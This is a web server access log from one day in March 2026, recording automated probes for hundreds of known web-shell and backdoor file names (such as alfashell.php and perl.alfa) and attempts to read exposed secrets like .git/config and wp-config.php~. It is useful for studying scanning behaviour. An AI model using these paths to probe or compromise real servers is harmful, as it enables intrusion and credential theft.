[09/Mar/2026:12:00:34 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:16 +0300] "GET /aifa.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:20 +0300] "GET /cash.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:37 +0300] "GET /teee.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:03:22 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:03:24 +0300] "GET /cs.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:04:17 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:04:24 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:04:49 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:04:49 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:04:52 +0300] "GET //2.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:05:07 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:05:18 +0300] "GET /pass2.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:41 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:41 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:55 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:30 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:44 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:18 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:22 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:53 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 5.175.189.34 - - [09/Mar/2026:10:45:30 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.232.184.93 - - [09/Mar/2026:12:01:53 +0300] "GET /utky.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:56 +0300] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:59 +0300] "GET /fsgdjkl.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:03 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:04:33 +0300] "GET //sys.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:05:45 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:08:30 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:07 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:11 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:14 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:17 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:20 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:20 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:24 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:26 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:42 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:42 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:18 +0300] "GET //wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:37 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:07 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:10 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:13 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:31 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:35 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:37 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:40 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:44 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:46 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:25 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:27 +0300] "GET /742.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:48 +0300] "GET /yos.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:07 +0300] "GET /x12.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:10 +0300] "GET /by.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:13 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:16 +0300] "GET /asw.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:20 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:55 +0300] "GET /rere.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:58 +0300] "GET /jocundly.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:04:41 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:04:44 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:05:58 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:03 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:07 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:10 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:33 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:47 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:50 +0300] "GET //wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 98.90.116.248 - - [09/Mar/2026:11:33:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0" 4.232.184.93 - - [09/Mar/2026:12:00:55 +0300] "GET /leon.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:08:07 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:01 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:31 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:37 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:10 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:10 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:10 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:13 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:57 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:31 +0300] "GET /wziar1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:34 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:38 +0300] "GET /invisi.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:22 +0300] "GET //1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:08:50 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:08:54 +0300] "GET //wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:32 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:35 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:38 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:40 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:58 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:05 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:07 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:09 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:49 +0300] "GET /4h.php HTTP/1.1" 301 795 "-" "-" 5.175.189.34 - - [09/Mar/2026:10:45:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 5.175.189.34 - - [09/Mar/2026:10:45:41 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.232.184.93 - - [09/Mar/2026:12:03:28 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:03:31 +0300] "GET /foxr.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:03:35 +0300] "GET /swallowable.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:03:37 +0300] "GET /claw.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:03:53 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:04:08 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:05:13 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:23 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:24 +0300] "GET //assets/css/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:31 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:08:11 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:08:15 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:35 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:39 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:42 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:57 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:22 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:26 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 5.175.189.34 - - [09/Mar/2026:10:45:30 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.232.184.93 - - [09/Mar/2026:12:02:25 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:28 +0300] "GET /akses.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:03:03 +0300] "GET /wo.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:03:06 +0300] "GET /h2h.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:03:10 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:03:57 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:04:00 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:04:29 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:02 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:08 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:11 +0300] "GET //wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:11 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:26 +0300] "GET //sc.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:28 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:40 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:44 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:46 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:46 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:48 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:51 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:54 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:07:57 +0300] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:09:57 +0300] "GET /plugins.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:25 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:10:25 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:47 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:47 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:50 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:52 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:26 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:00:45 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:00:48 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:02 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:01:07 +0300] "GET /nw_ok.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:33 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:42 +0300] "GET /elabel.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:02:50 +0300] "GET /bafFz.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:03:15 +0300] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:05:27 +0300] "GET /wsvvs.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:05:31 +0300] "GET //3.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:16 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:19 +0300] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:06:47 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:08:37 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:08:37 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:08:43 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:02 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:02 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:06 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:06 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:09 +0300] "GET //assets/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:11:13 +0300] "GET /w4.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:14 +0300] "GET /hi.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:17 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:20 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:22 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:22 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:25 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:49 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:12:53 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 4.232.184.93 - - [09/Mar/2026:12:13:51 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 43.228.157.68 - - [09/Mar/2026:13:14:57 +0300] "GET /app/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 43.228.157.68 - - [09/Mar/2026:13:14:56 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 43.228.157.68 - - [09/Mar/2026:13:14:57 +0300] "GET /public/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 43.131.243.61 - - [09/Mar/2026:12:42:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.228.157.68 - - [09/Mar/2026:13:14:56 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 144.172.114.76 - - [09/Mar/2026:13:03:19 +0300] "GET /wp-config.php~ HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 43.153.71.132 - - [09/Mar/2026:13:27:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [09/Mar/2026:14:06:56 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 173.252.83.1 - - [09/Mar/2026:14:39:29 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 173.252.83.4 - - [09/Mar/2026:14:39:30 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 49.234.192.248 - - [09/Mar/2026:15:07:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.83.113 - - [09/Mar/2026:15:10:05 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 77.90.185.5 - - [09/Mar/2026:15:16:58 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 211.21.61.245 - - [09/Mar/2026:15:38:20 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 81.169.213.169 - - [09/Mar/2026:15:55:02 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 192.36.248.249 - - [09/Mar/2026:18:01:20 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604" 116.76.36.213 - - [09/Mar/2026:18:18:10 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4245.33 Safari/537.36 LBBROWSER" 192.71.3.26 - - [09/Mar/2026:18:01:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604" 43.166.242.189 - - [09/Mar/2026:17:47:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.153.236 - - [09/Mar/2026:18:36:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 164.152.25.228 - - [09/Mar/2026:22:55:46 +0300] "GET /user/login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 164.152.25.228 - - [09/Mar/2026:22:56:05 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 182.42.111.213 - - [09/Mar/2026:21:43:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 164.152.25.228 - - [09/Mar/2026:22:55:54 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 164.152.25.228 - - [09/Mar/2026:22:55:59 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 Safari/605.1.15" 164.152.25.228 - - [09/Mar/2026:22:55:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 164.152.25.228 - - [09/Mar/2026:22:55:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 164.152.25.228 - - [09/Mar/2026:22:55:37 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 164.152.25.228 - - [09/Mar/2026:22:55:38 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 164.152.25.228 - - [09/Mar/2026:22:55:56 +0300] "GET /register HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 164.152.25.228 - - [09/Mar/2026:22:55:49 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 164.152.25.228 - - [09/Mar/2026:22:55:43 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU 